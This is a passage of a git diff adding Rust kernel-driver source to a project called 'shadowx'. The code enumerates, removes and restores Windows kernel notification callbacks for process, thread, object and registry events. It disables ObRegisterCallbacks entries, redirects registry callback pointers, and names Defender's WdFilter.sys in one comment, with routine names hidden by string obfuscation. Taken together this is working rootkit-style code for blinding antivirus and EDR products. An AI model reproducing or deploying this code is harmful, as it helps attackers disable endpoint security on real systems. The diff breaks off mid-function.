let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
// Iterate over the removed callbacks
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||||
|
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
address: callback.address as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
}
|
||||||
286
crates/shadowx/src/callback/callbacks/object.rs
Normal file
286
crates/shadowx/src/callback/callbacks/object.rs
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
wdk_sys::{NTSTATUS, STATUS_SUCCESS,}
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::{
|
||||||
|
enums::Callbacks,
|
||||||
|
structs::CallbackInfoOutput,
|
||||||
|
vars::MAX_CALLBACK
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
error::ShadowError, list_modules,
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
callback::find_callback::{find_callback_address, CallbackResult},
|
||||||
|
data::{CallbackRestaureOb, OBCALLBACK_ENTRY},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Structure representing the Callback Object.
|
||||||
|
pub struct CallbackOb;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
///
|
||||||
|
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||||
|
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||||
|
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
|
||||||
|
impl CallbackOb {
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||||
|
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
|
||||||
|
// Find the callback by its index
|
||||||
|
let index = callbacks
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||||
|
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||||
|
with_push_lock_exclusive(lock, || {
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
|
||||||
|
// Traverse the list of callback entries to find the one matching the removed entry
|
||||||
|
while next != current {
|
||||||
|
if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry {
|
||||||
|
|
||||||
|
// Re-enable the callback and remove it from the removed list
|
||||||
|
(*next).Enabled = true;
|
||||||
|
callbacks.remove(index);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RestoringFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from a notification routine.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to remove.
|
||||||
|
/// * `index` - The index of the callback to remove.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||||
|
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Acquire exclusive access to the TypeLock associated with the callback object
|
||||||
|
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
|
||||||
|
with_push_lock_exclusive(lock, || {
|
||||||
|
let mut i = 0;
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
|
||||||
|
// Traverse the list of callback entries
|
||||||
|
while next != current {
|
||||||
|
if i == index {
|
||||||
|
if (*next).Enabled {
|
||||||
|
// Store the removed callback in the list of removed callbacks
|
||||||
|
let callback_restaure = CallbackRestaureOb {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
entry: (*next).Entry as u64,
|
||||||
|
pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64),
|
||||||
|
post_operation: (*next).PostOperation.map_or(0u64, |post_op| post_op as u64)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Disable the callback
|
||||||
|
(*next).Enabled = false;
|
||||||
|
callback_info.push(callback_restaure);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next entry in the callback list
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RemoveFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Methods related to callback enumeration
|
||||||
|
impl CallbackOb {
|
||||||
|
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to enumerate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
||||||
|
/// * `Err(ShadowError)` - if the callback cannot be found.
|
||||||
|
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let full_object = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Object(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound),
|
||||||
|
};
|
||||||
|
|
||||||
|
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
let mut list_objects = Vec::new();
|
||||||
|
|
||||||
|
// Collect the information about each callback
|
||||||
|
while next != current {
|
||||||
|
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
|
||||||
|
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
|
||||||
|
|
||||||
|
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
|
||||||
|
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over loaded modules to find the module corresponding to each callback
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
let mut current_index = 0;
|
||||||
|
|
||||||
|
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
|
||||||
|
if !enabled {
|
||||||
|
current_index += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||||
|
let pre_operation = addrs.0;
|
||||||
|
let post_operation = addrs.1;
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if pre_operation > start_address as u64 && pre_operation < end_address ||
|
||||||
|
post_operation > start_address as u64 && post_operation < end_address
|
||||||
|
{
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: current_index,
|
||||||
|
name,
|
||||||
|
pre_operation: pre_operation as usize,
|
||||||
|
post_operation: post_operation as usize,
|
||||||
|
address: 0
|
||||||
|
});
|
||||||
|
|
||||||
|
current_index += 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset ldr_data for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all removed callbacks and provides detailed information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
||||||
|
/// * `Err(ShadowError)` - if the operation fails.
|
||||||
|
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
// Iterate over the removed callbacks
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
|
||||||
|
// Check if the callback addresses fall within the module's memory range
|
||||||
|
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|
||||||
|
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
|
||||||
|
{
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the removed callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
name,
|
||||||
|
pre_operation: callback.pre_operation as usize,
|
||||||
|
post_operation: callback.post_operation as usize,
|
||||||
|
address: 0
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
}
|
||||||
281
crates/shadowx/src/callback/callbacks/registry.rs
Normal file
281
crates/shadowx/src/callback/callbacks/registry.rs
Normal file
@@ -0,0 +1,281 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
wdk_sys::{
|
||||||
|
NTSTATUS, STATUS_SUCCESS,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::{
|
||||||
|
enums::Callbacks,
|
||||||
|
vars::MAX_CALLBACK,
|
||||||
|
structs::CallbackInfoOutput
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
list_modules,
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
callback::find_callback::{
|
||||||
|
find_callback_address, CallbackResult
|
||||||
|
},
|
||||||
|
data::{CallbackRestaure, CM_CALLBACK},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Structure representing the Callback Registry.
|
||||||
|
pub struct CallbackRegistry;
|
||||||
|
|
||||||
|
/// Stores information about removed callbacks.
|
||||||
|
///
|
||||||
|
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||||
|
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||||
|
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||||
|
);
|
||||||
|
|
||||||
|
/// Implement a feature for the callback CmRegisterCallbackEx.
|
||||||
|
impl CallbackRegistry {
|
||||||
|
/// Restores a previously removed callback by its index.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||||
|
/// * `index` - The index of the callback to restore.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||||
|
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||||
|
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Lock the removed callbacks to ensure thread-safe access
|
||||||
|
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
|
||||||
|
// Locating the target callback index
|
||||||
|
let index = callbacks_info
|
||||||
|
.iter()
|
||||||
|
.position(|c| c.callback == callback && c.index == index)
|
||||||
|
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||||
|
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let (callback, count, lock) = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Registry(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Getting a lock to perform the restore operation
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||||
|
|
||||||
|
for i in 0..count {
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if i == index as u32 {
|
||||||
|
// If the index is matched, restore from the list
|
||||||
|
(*pcm_callback).Function = callbacks_info[index].address;
|
||||||
|
callbacks_info.remove(index);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RestoringFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from the specified routine.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||||
|
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||||
|
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Retrieve the callback address based on the callback type
|
||||||
|
let (callbacks, count, lock) = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Registry(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Getting a lock to perform the remove operation
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
|
||||||
|
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
let mut prev_addr = 0;
|
||||||
|
|
||||||
|
for i in 0..count {
|
||||||
|
if i == 1 {
|
||||||
|
// Here we make an exchange, changing the target address to `WdFilter.sys`
|
||||||
|
prev_addr = (*pcm_callback).Function;
|
||||||
|
}
|
||||||
|
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if i == index as u32 {
|
||||||
|
let callback_restaure = CallbackRestaure {
|
||||||
|
index,
|
||||||
|
callback,
|
||||||
|
address: (*pcm_callback).Function,
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
// If the index is matched, remove from the list
|
||||||
|
(*pcm_callback).Function = prev_addr;
|
||||||
|
callbacks_info.push(callback_restaure);
|
||||||
|
|
||||||
|
return Ok(STATUS_SUCCESS);
|
||||||
|
}
|
||||||
|
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(ShadowError::RemoveFailureCallback)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Methods related to callback enumeration
|
||||||
|
impl CallbackRegistry {
|
||||||
|
/// Searches for a module associated with a callback and updates callback information.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
/// * `callback_info` - Pointer to the callback information output.
|
||||||
|
/// * `information` - Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `NTSTATUS` - Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
let (callback, count, lock) = match find_callback_address(&callback)? {
|
||||||
|
CallbackResult::Registry(addr) => addr,
|
||||||
|
_ => return Err(ShadowError::CallbackNotFound)
|
||||||
|
};
|
||||||
|
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
let count = *(count as *mut u32) + 1;
|
||||||
|
let mut pcm_callback = callback as *mut CM_CALLBACK;
|
||||||
|
|
||||||
|
with_push_lock_exclusive(lock as *mut u64, || {
|
||||||
|
for i in 0..count as isize {
|
||||||
|
if pcm_callback.is_null() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over the loaded modules
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
let addr = (*pcm_callback).Function;
|
||||||
|
|
||||||
|
if addr > start_address as u64 && addr < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: i as u8,
|
||||||
|
address: addr as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Go to the next module in the list
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset ldr_data for next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
|
||||||
|
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// List of callbacks currently removed.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `target_callback` - Pointer to the callback information input.
|
||||||
|
/// * `callback_info` - Pointer to the callback information output.
|
||||||
|
/// * `information` - Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `NTSTATUS` - Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||||
|
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||||
|
|
||||||
|
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
|
||||||
|
let (mut ldr_data, module_count) = list_modules()?;
|
||||||
|
let start_entry = ldr_data;
|
||||||
|
|
||||||
|
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let start_address = (*ldr_data).DllBase;
|
||||||
|
let image_size = (*ldr_data).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
|
||||||
|
if callback.address > start_address as u64 && callback.address < end_address {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data).BaseDllName.Buffer,
|
||||||
|
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Store the callback information
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
callbacks.push(CallbackInfoOutput {
|
||||||
|
index: callback.index as u8,
|
||||||
|
address: callback.address as usize,
|
||||||
|
name,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Move to the next module
|
||||||
|
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset the module list pointer for the next callback
|
||||||
|
ldr_data = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(callbacks)
|
||||||
|
}
|
||||||
|
}
|
||||||
173
crates/shadowx/src/callback/find_callback.rs
Normal file
173
crates/shadowx/src/callback/find_callback.rs
Normal file
@@ -0,0 +1,173 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
wdk_sys::{
|
||||||
|
PsProcessType, PsThreadType,
|
||||||
|
ntddk::MmGetSystemRoutineAddress,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::enums::Callbacks,
|
||||||
|
crate::{
|
||||||
|
data::FULL_OBJECT_TYPE,
|
||||||
|
error::ShadowError,
|
||||||
|
utils::{
|
||||||
|
patterns::scan_for_pattern,
|
||||||
|
uni::str_to_unicode
|
||||||
|
}
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||||
|
///
|
||||||
|
/// This function retrieves the address of the `PsSetCreateProcessNotifyRoutine`
|
||||||
|
/// by scanning memory for a specific pattern.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||||
|
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||||
|
unsafe fn find_ps_create_process() -> Result<*mut u8, ShadowError> {
|
||||||
|
let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
// call nt!PspSetCreateProcessNotifyRoutine (xxx)
|
||||||
|
let instructions = [0xE8];
|
||||||
|
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?;
|
||||||
|
|
||||||
|
let instructions = [0x4C, 0x8D, 0x2D];
|
||||||
|
scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
|
||||||
|
///
|
||||||
|
/// This function retrieves the address of the `PsRemoveCreateThreadNotifyRoutine`
|
||||||
|
/// by scanning memory for a specific pattern.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||||
|
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||||
|
unsafe fn find_ps_create_thread() -> Result<*mut u8, ShadowError> {
|
||||||
|
let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
// lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)]
|
||||||
|
let instructions = [0x48, 0x8D, 0x0D];
|
||||||
|
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
|
||||||
|
///
|
||||||
|
/// This function retrieves the address of the `PsSetLoadImageNotifyRoutineEx`
|
||||||
|
/// by scanning memory for a specific pattern.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut u8)` - The pointer to the routine's address if found.
|
||||||
|
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||||
|
unsafe fn find_ps_load_image() -> Result<*mut u8, ShadowError> {
|
||||||
|
let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
